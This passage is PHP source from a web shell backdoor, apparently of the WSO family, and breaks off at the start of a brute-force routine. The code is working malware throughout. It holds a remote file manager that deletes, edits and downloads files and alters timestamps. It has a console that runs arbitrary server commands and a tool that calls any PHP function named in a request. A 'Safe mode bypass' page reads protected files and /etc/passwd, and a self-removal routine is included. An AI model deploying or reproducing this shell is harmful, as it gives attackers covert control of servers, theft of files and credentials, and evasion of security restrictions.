  1016.  
  1017. @unlink($item);
  1018.  
  1019. }
  1020.  
  1021. closedir($dh);
  1022.  
  1023. rmdir($path);
  1024.  
  1025. }
  1026.  
  1027. if(is_array(@$_POST['f']))
  1028.  
  1029. foreach($_POST['f'] as $f) {
  1030.  
  1031. $f = urldecode($f);
  1032.  
  1033. if(is_dir($f))
  1034.  
  1035. deleteDir($f);
  1036.  
  1037. else
  1038.  
  1039. @unlink($f);
  1040.  
  1041. }
  1042.  
  1043. break;
  1044.  
  1045. case 'paste':
  1046.  
  1047. if($_SESSION['act'] == 'copy') {
  1048.  
  1049. function copy_paste($c,$s,$d){
  1050.  
  1051. if(is_dir($c.$s)){
  1052.  
  1053. mkdir($d.$s);
  1054.  
  1055. $h = opendir($c.$s);
  1056.  
  1057. while (($f = readdir($h)) !== false)
  1058.  
  1059. if (($f != ".") and ($f != "..")) {
  1060.  
  1061. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1062.  
  1063. }
  1064.  
  1065. } elseif(is_file($c.$s)) {
  1066.  
  1067. @copy($c.$s, $d.$s);
  1068.  
  1069. }
  1070.  
  1071. }
  1072.  
  1073. foreach($_SESSION['f'] as $f)
  1074.  
  1075. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  1076.  
  1077. } elseif($_SESSION['act'] == 'move') {
  1078.  
  1079. function move_paste($c,$s,$d){
  1080.  
  1081. if(is_dir($c.$s)){
  1082.  
  1083. mkdir($d.$s);
  1084.  
  1085. $h = opendir($c.$s);
  1086.  
  1087. while (($f = readdir($h)) !== false)
  1088.  
  1089. if (($f != ".") and ($f != "..")) {
  1090.  
  1091. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1092.  
  1093. }
  1094.  
  1095. } elseif(is_file($c.$s)) {
  1096.  
  1097. @copy($c.$s, $d.$s);
  1098.  
  1099. }
  1100.  
  1101. }
  1102.  
  1103. foreach($_SESSION['f'] as $f)
  1104.  
  1105. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  1106.  
  1107. }
  1108.  
  1109. unset($_SESSION['f']);
  1110.  
  1111. break;
  1112.  
  1113. default:
  1114.  
  1115. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  1116.  
  1117. $_SESSION['act'] = @$_POST['p1'];
  1118.  
  1119. $_SESSION['f'] = @$_POST['f'];
  1120.  
  1121. foreach($_SESSION['f'] as $k => $f)
  1122.  
  1123. $_SESSION['f'][$k] = urldecode($f);
  1124.  
  1125. $_SESSION['cwd'] = @$_POST['c'];
  1126.  
  1127. }
  1128.  
  1129. break;
  1130.  
  1131. }
  1132.  
  1133. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  1134.  
  1135. }
  1136.  
  1137. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1138.  
  1139. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  1140.  
  1141. global $sort;
  1142.  
  1143. $sort = array('name', 1);
  1144.  
  1145. if(!empty($_POST['p1'])) {
  1146.  
  1147. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1148.  
  1149. $sort = array($match[1], (int)$match[2]);
  1150.  
  1151. }
  1152.  
  1153. ?>
  1154.  
  1155. <script>
  1156.  
  1157. function sa() {
  1158.  
  1159. for(i=0;i<document.files.elements.length;i++)
  1160.  
  1161. if(document.files.elements[i].type == 'checkbox')
  1162.  
  1163. document.files.elements[i].checked = document.files.elements[0].checked;
  1164.  
  1165. }
  1166.  
  1167. </script>
  1168.  
  1169. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1170.  
  1171. <form name=files method=post>
  1172.  
  1173. <?php
  1174.  
  1175. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1176.  
  1177. $dirs = $files = $links = array();
  1178.  
  1179. $n = count($dirContent);
  1180.  
  1181. for($i=0;$i<$n;$i++) {
  1182.  
  1183. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1184.  
  1185. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1186.  
  1187. $tmp = array('name' => $dirContent[$i],
  1188.  
  1189. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  1190.  
  1191. 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  1192.  
  1193. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  1194.  
  1195. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1196.  
  1197. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1198.  
  1199. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1200.  
  1201. );
  1202.  
  1203. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  1204.  
  1205. $files[] = array_merge($tmp, array('type' => 'file'));
  1206.  
  1207. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  1208.  
  1209. $links[] = array_merge($tmp, array('type' => 'link'));
  1210.  
  1211. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  1212.  
  1213. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1214.  
  1215. }
  1216.  
  1217. $GLOBALS['sort'] = $sort;
  1218.  
  1219. function cmp($a, $b) {
  1220.  
  1221. if($GLOBALS['sort'][0] != 'size')
  1222.  
  1223. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  1224.  
  1225. else
  1226.  
  1227. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1228.  
  1229. }
  1230.  
  1231. usort($files, "cmp");
  1232.  
  1233. usort($dirs, "cmp");
  1234.  
  1235. usort($links, "cmp");
  1236.  
  1237. $files = array_merge($dirs, $links, $files);
  1238.  
  1239. $l = 0;
  1240.  
  1241. foreach($files as $f) {
  1242.  
  1243. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1244.  
  1245. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1246.  
  1247. $l = $l?0:1;
  1248.  
  1249. }
  1250.  
  1251. ?>
  1252.  
  1253. <tr><td colspan=7>
  1254.  
  1255. <input type=hidden name=a value='FilesMan'>
  1256.  
  1257. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  1258.  
  1259. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  1260.  
  1261. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
  1262.  
  1263. </form></table></div>
  1264.  
  1265. <?php
  1266.  
  1267. printFooter();
  1268.  
  1269. }
  1270.  
  1271.  
  1272. function actionStringTools() {
  1273.  
  1274. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1275.  
  1276. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1277.  
  1278. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  1279.  
  1280. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1281.  
  1282.  
  1283.  
  1284. if(isset($_POST['ajax'])) {
  1285.  
  1286. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1287.  
  1288. ob_start();
  1289.  
  1290. if(function_exists($_POST['p1']))
  1291.  
  1292. echo $_POST['p1']($_POST['p2']);
  1293.  
  1294. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1295.  
  1296. echo strlen($temp), "\n", $temp;
  1297.  
  1298. exit;
  1299.  
  1300. }
  1301.  
  1302. printHeader();
  1303.  
  1304. echo '<h1>String conversions</h1><div class=content>';
  1305.  
  1306. $stringTools = array(
  1307.  
  1308. 'Base64 encode' => 'base64_encode',
  1309.  
  1310. 'Base64 decode' => 'base64_decode',
  1311.  
  1312. 'Url encode' => 'urlencode',
  1313.  
  1314. 'Url decode' => 'urldecode',
  1315.  
  1316. 'Full urlencode' => 'full_urlencode',
  1317.  
  1318. 'md5 hash' => 'md5',
  1319.  
  1320. 'sha1 hash' => 'sha1',
  1321.  
  1322. 'crypt' => 'crypt',
  1323.  
  1324. 'CRC32' => 'crc32',
  1325.  
  1326. 'ASCII to HEX' => 'ascii2hex',
  1327.  
  1328. 'HEX to ASCII' => 'hex2ascii',
  1329.  
  1330. 'HEX to DEC' => 'hexdec',
  1331.  
  1332. 'HEX to BIN' => 'hex2bin',
  1333.  
  1334. 'DEC to HEX' => 'dechex',
  1335.  
  1336. 'DEC to BIN' => 'decbin',
  1337.  
  1338. 'BIN to HEX' => 'bin2hex',
  1339.  
  1340. 'BIN to DEC' => 'bindec',
  1341.  
  1342. 'String to lower case' => 'strtolower',
  1343.  
  1344. 'String to upper case' => 'strtoupper',
  1345.  
  1346. 'Htmlspecialchars' => 'htmlspecialchars',
  1347.  
  1348. 'String length' => 'strlen',
  1349.  
  1350. );
  1351.  
  1352. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1353.  
  1354. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1355.  
  1356. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1357.  
  1358. foreach($stringTools as $k => $v)
  1359.  
  1360. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1361.  
  1362. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> Send Using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1363.  
  1364. if(!empty($_POST['p1'])) {
  1365.  
  1366. if(function_exists($_POST['p1']))
  1367.  
  1368. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1369.  
  1370. }
  1371.  
  1372. echo"</pre></div>";
  1373.  
  1374. ?>
  1375.  
  1376. <br><h1>Search for hash:</h1><div class=content>
  1377.  
  1378. <form method='post' target='_blank' name="hf">
  1379.  
  1380. <input type="text" name="hash" style="width:200px;"><br>
  1381.  
  1382. <input type="button" value="Google.com" onClick="document.hf.action='http://www.google.com.vn/';document.hf.submit()"><br>
  1383.  
  1384. <input type="button" value="Md5decrypter.co.uk" onClick="document.hf.action='http://md5decrypter.co.uk/';document.hf.submit()"><br>
  1385.  
  1386. <input type="button" value="Insidepro.com" onClick="document.hf.action='http://forum.insidepro.com/';document.hf.submit()"><br>
  1387.  
  1388. <input type="button" value="md5.rednoize.com" onClick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
  1389.  
  1390. <input type="button" value="md5decrypter.com" onClick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
  1391.  
  1392. <input type="button" value="Md5decryption.com/" onClick="document.hf.action='http://md5decryption.com/';document.hf.submit()"><br>
  1393.  
  1394. </form>
  1395.  
  1396. </div>
  1397.  
  1398. <?php
  1399.  
  1400. printFooter();
  1401.  
  1402. }
  1403.  
  1404.  
  1405. function actionFilesTools() {
  1406.  
  1407. if( isset($_POST['p1']) )
  1408.  
  1409. $_POST['p1'] = urldecode($_POST['p1']);
  1410.  
  1411. if(@$_POST['p2']=='download') {
  1412.  
  1413. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  1414.  
  1415. ob_start("ob_gzhandler", 4096);
  1416.  
  1417. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1418.  
  1419. if (function_exists("mime_content_type")) {
  1420.  
  1421. $type = @mime_content_type($_POST['p1']);
  1422.  
  1423. header("Content-Type: ".$type);
  1424.  
  1425. }
  1426.  
  1427. $fp = @fopen($_POST['p1'], "r");
  1428.  
  1429. if($fp) {
  1430.  
  1431. while(!@feof($fp))
  1432.  
  1433. echo @fread($fp, 1024);
  1434.  
  1435. fclose($fp);
  1436.  
  1437. }
  1438.  
  1439. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  1440.  
  1441.  
  1442. }
  1443.  
  1444. exit;
  1445.  
  1446. }
  1447.  
  1448. if( @$_POST['p2'] == 'mkfile' ) {
  1449.  
  1450. if(!file_exists($_POST['p1'])) {
  1451.  
  1452. $fp = @fopen($_POST['p1'], 'w');
  1453.  
  1454. if($fp) {
  1455.  
  1456. $_POST['p2'] = "edit";
  1457.  
  1458. fclose($fp);
  1459.  
  1460. }
  1461.  
  1462. }
  1463.  
  1464. }
  1465.  
  1466. printHeader();
  1467.  
  1468. echo '<h1>File tools</h1><div class=content>';
  1469.  
  1470. if( !file_exists(@$_POST['p1']) ) {
  1471.  
  1472. echo 'File not exists';
  1473.  
  1474. printFooter();
  1475.  
  1476. return;
  1477.  
  1478. }
  1479.  
  1480. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1481.  
  1482. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  1483.  
  1484. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1485.  
  1486. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1487.  
  1488. if( empty($_POST['p2']) )
  1489.  
  1490. $_POST['p2'] = 'view';
  1491.  
  1492. if( is_file($_POST['p1']) )
  1493.  
  1494. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1495.  
  1496. else
  1497.  
  1498. $m = array('Chmod', 'Rename', 'Touch');
  1499.  
  1500. foreach($m as $v)
  1501.  
  1502. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1503.  
  1504. echo '<br><br>';
  1505.  
  1506. switch($_POST['p2']) {
  1507.  
  1508. case 'view':
  1509.  
  1510. echo '<pre class=ml1>';
  1511.  
  1512. $fp = @fopen($_POST['p1'], 'r');
  1513.  
  1514. if($fp) {
  1515.  
  1516. while( !@feof($fp) )
  1517.  
  1518. echo htmlspecialchars(@fread($fp, 1024));
  1519.  
  1520. @fclose($fp);
  1521.  
  1522. }
  1523.  
  1524. echo '</pre>';
  1525.  
  1526. break;
  1527.  
  1528. case 'highlight':
  1529.  
  1530. if( is_readable($_POST['p1']) ) {
  1531.  
  1532. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1533.  
  1534. $code = highlight_file($_POST['p1'],true);
  1535.  
  1536. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1537.  
  1538. }
  1539.  
  1540. break;
  1541.  
  1542. case 'chmod':
  1543.  
  1544. if( !empty($_POST['p3']) ) {
  1545.  
  1546. $perms = 0;
  1547.  
  1548. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1549.  
  1550. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1551.  
  1552. if(!@chmod($_POST['p1'], $perms))
  1553.  
  1554. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1555.  
  1556. else
  1557.  
  1558. die('<script>g(null,null,null,null,"")</script>');
  1559.  
  1560. }
  1561.  
  1562. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1563.  
  1564. break;
  1565.  
  1566. case 'edit':
  1567.  
  1568. if( !is_writable($_POST['p1'])) {
  1569.  
  1570. echo 'File isn\'t writeable';
  1571.  
  1572. break;
  1573.  
  1574. }
  1575.  
  1576. if( !empty($_POST['p3']) ) {
  1577.  
  1578. @file_put_contents($_POST['p1'],$_POST['p3']);
  1579.  
  1580. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  1581.  
  1582. }
  1583.  
  1584. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  1585.  
  1586. $fp = @fopen($_POST['p1'], 'r');
  1587.  
  1588. if($fp) {
  1589.  
  1590. while( !@feof($fp) )
  1591.  
  1592. echo htmlspecialchars(@fread($fp, 1024));
  1593.  
  1594. @fclose($fp);
  1595.  
  1596. }
  1597.  
  1598. echo '</textarea><input type=submit value=">>"></form>';
  1599.  
  1600. break;
  1601.  
  1602. case 'hexdump':
  1603.  
  1604. $c = @file_get_contents($_POST['p1']);
  1605.  
  1606. $n = 0;
  1607.  
  1608. $h = array('00000000<br>','','');
  1609.  
  1610. $len = strlen($c);
  1611.  
  1612. for ($i=0; $i<$len; ++$i) {
  1613.  
  1614. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1615.  
  1616. switch ( ord($c[$i]) ) {
  1617.  
  1618. case 0: $h[2] .= ' '; break;
  1619.  
  1620. case 9: $h[2] .= ' '; break;
  1621.  
  1622. case 10: $h[2] .= ' '; break;
  1623.  
  1624. case 13: $h[2] .= ' '; break;
  1625.  
  1626. default: $h[2] .= $c[$i]; break;
  1627.  
  1628. }
  1629.  
  1630. $n++;
  1631.  
  1632. if ($n == 32) {
  1633.  
  1634. $n = 0;
  1635.  
  1636. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1637.  
  1638. $h[1] .= '<br>';
  1639.  
  1640. $h[2] .= "\n";
  1641.  
  1642. }
  1643.  
  1644. }
  1645.  
  1646. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1647.  
  1648. break;
  1649.  
  1650. case 'rename':
  1651.  
  1652. if( !empty($_POST['p3']) ) {
  1653.  
  1654. if(!@rename($_POST['p1'], $_POST['p3']))
  1655.  
  1656. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  1657.  
  1658. else
  1659.  
  1660. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1661.  
  1662. }
  1663.  
  1664. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1665.  
  1666. break;
  1667.  
  1668. case 'touch':
  1669.  
  1670. if( !empty($_POST['p3']) ) {
  1671.  
  1672. $time = strtotime($_POST['p3']);
  1673.  
  1674. if($time) {
  1675.  
  1676. if(@touch($_POST['p1'],$time,$time))
  1677.  
  1678. die('<script>g(null,null,null,null,"")</script>');
  1679.  
  1680. else {
  1681.  
  1682. echo 'Fail!<script>document.mf.p3.value="";</script>';
  1683.  
  1684. }
  1685.  
  1686. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  1687.  
  1688. }
  1689.  
  1690. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1691.  
  1692. break;
  1693.  
  1694. case 'mkfile':
  1695.  
  1696.  
  1697.  
  1698. break;
  1699.  
  1700. }
  1701.  
  1702. echo '</div>';
  1703.  
  1704. printFooter();
  1705.  
  1706. }
  1707.  
  1708.  
  1709. function actionSafeMode() {
  1710.  
  1711. $temp='';
  1712.  
  1713. ob_start();
  1714.  
  1715. switch($_POST['p1']) {
  1716.  
  1717. case 1:
  1718.  
  1719. $temp=@tempnam($test, 'cx');
  1720.  
  1721. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1722.  
  1723. echo @file_get_contents($temp);
  1724.  
  1725. unlink($temp);
  1726.  
  1727. } else
  1728.  
  1729. echo 'Sorry... Can\'t open file';
  1730.  
  1731. break;
  1732.  
  1733. case 2:
  1734.  
  1735. $files = glob($_POST['p2'].'*');
  1736.  
  1737. if( is_array($files) )
  1738.  
  1739. foreach ($files as $filename)
  1740.  
  1741. echo $filename."\n";
  1742.  
  1743. break;
  1744.  
  1745. case 3:
  1746.  
  1747. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1748.  
  1749. curl_exec($ch);
  1750.  
  1751. break;
  1752.  
  1753. case 4:
  1754.  
  1755. ini_restore("safe_mode");
  1756.  
  1757. ini_restore("open_basedir");
  1758.  
  1759. include($_POST['p2']);
  1760.  
  1761. break;
  1762.  
  1763. case 5:
  1764.  
  1765. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1766.  
  1767. $uid = @posix_getpwuid($_POST['p2']);
  1768.  
  1769. if ($uid)
  1770.  
  1771. echo join(':',$uid)."\n";
  1772.  
  1773. }
  1774.  
  1775. break;
  1776.  
  1777. case 6:
  1778.  
  1779. if(!function_exists('imap_open'))break;
  1780.  
  1781. $stream = imap_open($_POST['p2'], "", "");
  1782.  
  1783. if ($stream == FALSE)
  1784.  
  1785. break;
  1786.  
  1787. echo imap_body($stream, 1);
  1788.  
  1789. imap_close($stream);
  1790.  
  1791. break;
  1792.  
  1793. }
  1794.  
  1795. $temp = ob_get_clean();
  1796.  
  1797. printHeader();
  1798.  
  1799. echo '<h1>Safe mode bypass</h1><div class=content>';
  1800.  
  1801. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1802.  
  1803. if($temp)
  1804.  
  1805. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1806.  
  1807. echo '</div>';
  1808.  
  1809. printFooter();
  1810.  
  1811. }
  1812.  
  1813.  
  1814. function actionConsole() {
  1815.  
  1816. if(isset($_POST['ajax'])) {
  1817.  
  1818. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1819.  
  1820. ob_start();
  1821.  
  1822. echo "document.cf.cmd.value='';\n";
  1823.  
  1824. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1825.  
  1826. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1827.  
  1828. if(@chdir($match[1])) {
  1829.  
  1830. $GLOBALS['cwd'] = @getcwd();
  1831.  
  1832. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1833.  
  1834. }
  1835.  
  1836. }
  1837.  
  1838. echo "document.cf.output.value+='".$temp."';";
  1839.  
  1840. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1841.  
  1842. $temp = ob_get_clean();
  1843.  
  1844. echo strlen($temp), "\n", $temp;
  1845.  
  1846. exit;
  1847.  
  1848. }
  1849.  
  1850. printHeader();
  1851.  
  1852. ?>
  1853.  
  1854. <script>
  1855.  
  1856. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1857.  
  1858. var cmds = new Array("");
  1859.  
  1860. var cur = 0;
  1861.  
  1862. function kp(e) {
  1863.  
  1864. var n = (window.Event) ? e.which : e.keyCode;
  1865.  
  1866. if(n == 38) {
  1867.  
  1868. cur--;
  1869.  
  1870. if(cur>=0)
  1871.  
  1872. document.cf.cmd.value = cmds[cur];
  1873.  
  1874. else
  1875.  
  1876. cur++;
  1877.  
  1878. } else if(n == 40) {
  1879.  
  1880. cur++;
  1881.  
  1882. if(cur < cmds.length)
  1883.  
  1884. document.cf.cmd.value = cmds[cur];
  1885.  
  1886. else
  1887.  
  1888. cur--;
  1889.  
  1890. }
  1891.  
  1892. }
  1893.  
  1894. function add(cmd) {
  1895.  
  1896. cmds.pop();
  1897.  
  1898. cmds.push(cmd);
  1899.  
  1900. cmds.push("");
  1901.  
  1902. cur = cmds.length-1;
  1903.  
  1904. }
  1905.  
  1906. </script>
  1907.  
  1908. <?php
  1909.  
  1910. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1911.  
  1912. foreach($GLOBALS['aliases'] as $n => $v) {
  1913.  
  1914. if($v == '') {
  1915.  
  1916. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1917.  
  1918. continue;
  1919.  
  1920. }
  1921.  
  1922. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1923.  
  1924. }
  1925.  
  1926. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1927.  
  1928. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1929.  
  1930. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1931.  
  1932. if(!empty($_POST['p1'])) {
  1933.  
  1934. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1935.  
  1936. }
  1937.  
  1938. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  1939.  
  1940. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1941.  
  1942. printFooter();
  1943.  
  1944. }
  1945.  
  1946.  
  1947. function actionLogout() {
  1948.  
  1949. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1950.  
  1951. echo 'bye!';
  1952.  
  1953. }
  1954.  
  1955.  
  1956. function actionSelfRemove() {
  1957.  
  1958. printHeader();
  1959.  
  1960. if($_POST['p1'] == 'yes') {
  1961.  
  1962. if(@unlink(SELF_PATH))
  1963.  
  1964. die('Shell has been removed');
  1965.  
  1966. else
  1967.  
  1968. echo 'unlink error!';
  1969.  
  1970. }
  1971.  
  1972. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1973.  
  1974. printFooter();
  1975.  
  1976. }
  1977.  
  1978.  
  1979. function actionBruteforce() {
  1980.  
  1981. printHeader();
  1982.  
  1983. if( isset($_POST['proto']) ) {
